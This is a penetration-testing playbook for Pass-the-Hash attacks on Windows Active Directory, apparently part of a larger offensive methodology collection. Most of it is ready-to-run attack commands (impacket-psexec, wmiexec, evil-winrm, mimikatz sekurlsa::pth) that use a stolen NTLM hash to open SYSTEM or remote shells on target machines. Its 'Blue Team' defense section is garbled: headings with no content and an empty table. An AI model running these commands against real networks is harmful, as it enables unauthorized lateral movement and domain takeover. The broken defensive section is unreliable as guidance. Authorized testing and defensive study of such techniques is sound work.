Pass-the-Hash (PtH)

When to Use

• When you have successfully dumped credentials (e.g., from SAM, LSASS, or NTDS.dit) and acquired the NTLM hash of a target user, but the hash resists cracking efforts.
• To perform lateral movement to other machines where the compromised user has administrative access.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Acquiring the NTLM Hash

Hashes are typically formatted as LM_HASH:NTLM_HASH. Example: aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 (Note: Active Directory no longer stores the LM hash by default, so it's usually the blank aad3...04ee value, but the NTLM portion is what matters).

Phase 2: Execution via Impacket (Linux/Mac)

Impacket provides multiple tools that support the -hashes flag to interact with Windows protocols (SMB, WMI, RPC) via PtH.

# Concept: Gain an interactive SYSTEM shell over SMB impacket-psexec Administrator@192.168.1.50 -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29

# Gain a semi-interactive shell over WMI (stealthier) impacket-wmiexec target.local/Administrator@192.168.1.50 -hashes :88e4d9fabaecf3dec18dd80905521b29

Phase 3: Execution via Evil-WinRM

If WinRM (Port 5985) is enabled on the target, Evil-WinRM provides a highly stable PowerShell session.

# evil-winrm -i 192.168.1.50 -u Administrator -H 88e4d9fabaecf3dec18dd80905521b29

Phase 4: Execution via Mimikatz (Windows)

If you are operating directly from a compromised Windows machine, you can inject the hash into memory to spawn a process under the context of the target user.

# mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:target.local /ntlm:88e4d9fabaecf3dec18dd80905521b29 /run:cmd.exe" "exit"

A new command prompt will open running as the user, allowing access to network shares and execution across the domain.

Decision Point 🔀

flowchart TD
    A[Obtain NTLM Hash ] --> B{Target Service Open? ]}
    B -->|SMB (445)| C[Impacket PsExec/SMBExec ]
    B -->|WMI (135/...)| D[Impacket WMIexec ]
    B -->|WinRM (5985)| E[Evil-WinRM ]
    C & D & E --> F[Authenticated Remote Execution ]

🔵 Blue Team Detection & Defense

• LAPS (Local Administrator Password Solution): Disable NTLM Authentication: Windows Defender Credential Guard: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Pass The Hash — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Mitre ATT&CK: Pass the Hash
• HackTricks: Pass the Hash